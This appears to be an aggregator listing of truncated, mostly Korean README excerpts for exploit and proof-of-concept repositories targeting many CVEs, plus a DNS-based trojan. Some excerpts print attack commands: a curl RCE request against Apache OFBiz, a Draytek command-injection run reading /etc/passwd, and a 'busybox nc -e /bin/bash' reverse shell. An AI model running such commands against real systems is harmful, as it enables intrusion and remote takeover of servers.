CVE-2022-24112-POC

CVE-2022-24112-POC Apache APISIX 2.12.1 のIP制限バイパスとデフォルトのadmin AIPトークンを使用したリモートコード実行 完全なウォークスルー https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff...

CVE-2025-3054-Exploit

CVE-2025-3054 Exploit: 여기서 다운로드 세부 정보 CVE ID : CVE-2025-3054 게시일 : 2025년 6월 5일 CVSS : 8.8 패치 가능 여부: 공식 패치는 아직 없음 영향 WP User Frontend Pro 플러그인WordPress용은 uploadfiles 함수에서 파일 유형 검증이 누락되어 모든 버전4.1.3 포함까지 임의 파일 업로드에 취약합니다. 이로 인해 인증된 공격자가 Subscriber-level 이상의 접근 권한을 가진 경우 영향을 받는 사이트 서버에 임의의 파일을 업로드할 수...

CVE-2023-45878_to_RCE

CVE-2023-45878에서 RCE로 이 스크립트는 CVE-2023-45878 취약점을 이용하여 Gibbon LMS에서 임의 파일 쓰기Arbitrary File Write를 RCE로 연쇄 및 자동화합니다. 이 스크립트는 다음 단계를 수행합니다: 1. Windows용 msfvenom 스테이지리스 리버스 셸을 생성합니다. 2. CVE-2023-45878을 악용하는 웹셸을 업로드합니다. 3. 타겟에 리버스 셸을 다운로드합니다. 4. 리버스 셸을 실행합니다...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL 대상 URL -c COMMAND, --command COMMAND 명령 -i LHOST, --lhost LHOST 리버스 셸 호스트 주소 -p LPORT, --lport LPORT 리버스 셸 호스트 포트 -f FILE, --file FILE 일괄 스캔...

CVE-2024-34716

CVE-2024-34716PoC 더 자세한 기술 정보는 다음에서 확인할 수 있습니다: https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ 설치 pip install -r requirements.txt 사용법 Usage: python exploit.py --url --email --local-ip --admin-path...

react2shell-scanner

react2shell-scanner CVE-2025-55182 및 CVE-2025-66478 원격 코드 실행을 탐지하는 고정밀 명령줄 취약점 스캐너입니다. Next.js 애플리케이션에서 React Server ComponentsRSC를 사용하는 환경을 대상으로 합니다. 🚨 취약점 개요 이 치명적인 취약점들은 React Server Components를 사용하는 Next.js 애플리케이션에 영향을 미치며, 조작된 multipart POST 요청을 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다. 영향을 받는 버전: 취약한 ...

webpwn3r

webpwn3r 이 프로젝트는 수년간 유지되지 않았으며, 제가 Python을 배우기 시작할 때 작성했지만 사람들은 여전히 좋아합니다 :D. python2.7만 지원합니다. WebPwn3r - 웹 애플리케이션 보안 스캐너. 제작: Ebrahim Hegazy - @Zigoo0 감사: @lnxg33k, @dia2diab @Aelhemily, @okamalo 모든 피드백과 제안은 다음으로 보내주세요: zigoo.blog'at'@gmail.com 사용 방법: 1- python scan.py 2- 도구가 URL을 스캔할지 URL 목록을...

webpwn3r

webpwn3r This project is not maintained for years, and was written when I started learning Python, but still people likes it :D. it only supports python2.7 WebPwn3r - Web Applications Security Scanner. By Ebrahim Hegazy - @Zigoo0 Thanks: @lnxg33k, @dia2diab @Aelhemily, @okamalo Please send all yo...

CVE-2025-20029-simulation

🔐 재현 가능한 공격 시뮬레이션 – CVE-2025-20029 ⚠️ 이 저장소는 안전하고 통제된 환경 에서 CVE-2025-20029를 시뮬레이션합니다. 실제 F5 BIG-IP 시스템과 상호작용하거나 프로덕션 서비스를 악용하지 않습니다. 목적은 교육적입니다: 취약점 패턴을 연구하고 페이로드를 안전하게 테스트하는 것입니다. 🛠 CVE-2025-20029 정보 CVE-2025-20029는 F5 BIG-IP 시스템에 영향을 미치는 높은 심각도의 명령 주입 취약점입니다. 이 문제는 iControl REST API 에 있으며, 특정...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js 원격 코드 실행 툴킷 !WARNING 이 도구는 공인된 테스트 및 교육 목적으로만 제공됩니다. 승인되지 않은 네트워크 접근과 데이터 유출은 불법입니다. 사용자는 이 도구를 어떤 네트워크에서 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다. 개요 이 저장소는 React2Shell 이라고도 알려진 CVE-2025-55182를 통해 검증, 익스플로잇 및 대화형 셸 확보를 수행하는 간단한 툴킷을 포함합니다. 이는 React Server...

CVE-2025-56399

CVE-2025-56399 대량 익스플로잇 CVE-2025-56399 – laravel-file-manager v3.3.1의 원격 코드 실행 취약점. Laravel File Manager의 잘못 구성된 설정을 악용하여 인증 없이 파일 업로드로 PHP 셸을 업로드하고 검증합니다. 설치 저장소 다운로드 root@kitploit: git clone https://github.com/im-hanzou/CVE-2025-56399 저장소 폴더로 이동 root@kitploit: cd CVE-2025-56399 필요 패키지 설치...

CVE-2019-17621

DLink RCE 취약점 CVE-2019-17621 인증되지 않은 RCE FAT가 이를 에뮬레이션할 수 있으니 attifyos를 사용해 주세요...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit 이것은 CVE-2023-46818을 위한 제 익스플로잇입니다. 즐거운 해킹 되세요! 이 익스플로잇은 ISPConfig 버전 3.2.11 및 이전 버전의 PHP 코드 삽입 취약점을 악용하여 CVE-2023-46818에 설명된 공격을 자동화합니다. 유효한 자격 증명을 사용하여 ISPConfig 패널에 로그인하고, 취약한 languageedit.php 파일을 대상으로 하며, records 양식 필드를 남용하여 악성 PHP 코드를 주입합니다. 이 페이로드는 서버에 sh.php 파일을 작성하며,...

CVE-2022-28672

CVE-2022-28672 Discord Server 이 버그는 JavaScript 객체 메모리 참조의 부적절한 처리로 인해 발생한 Use after Free입니다. 블로그 Foxit PDF Reader - UaF - RCE - JIT Spraying 권고 CVE-2022-28672 데모...

dnschan

dnschan DNS를 통해 실행되는 트로이 목마입니다. 다음을 수행할 수 있습니다: 여러 에이전트 처리 매우 느리게 파일 업로드 웹에서 파일 가져오기 프로세스 실행...

CVE-2024-32113-POC

Apache OfBiz 취약점 CVE-2024-32113 POC USERNAME 및 PASSWORD 매개변수는 누구나 접근 가능한 /ecomseo/AnonContactus 인터페이스에서 제공할 수 있습니다. POC1: RCE root@kitploit: curl --noproxy '' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \ --header 'User-Agent:...

Stutsfi

Stutsfi Apache Struts 2의 CVE-2017-5638 원격 코드 실행RCE 취약점 익스플로잇...

CVE-2023-4220

CVE-2023-4220 PoC Chamilo LMS 비인증 대용량 파일 업로드 RCE 이 저장소에는 Chamilo LMS 에 영향을 주는 원격 코드 실행RCE 취약점인 CVE-2023-4220 에 대한 개념 증명PoC이 포함되어 있습니다. 이 취약점으로 인해 인증되지 않은 공격자가 대용량 파일 업로드 기능을 악용하여 서버에서 임의 코드를 실행할 수 있습니다. 목차 CVE-2023-4220 PoC - Chamilo LMS 비인증 대용량 파일 업로드 RCE 목차 취약점 세부 정보 면책 조항 개요 LMS란 무엇인가 Chamilo란...

CVE-2020-8515

CVE-2020-8515 예전에 굴러다니던 Draytek CVE-2020-8515 PoC입니다. 재미있게도, 주입된 명령이 두 번 실행됩니다. 아래를 보세요: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900...

CVE-2025-24893

CVE-2025-24893용 리버스 셸 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" 셸 업그레이드 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...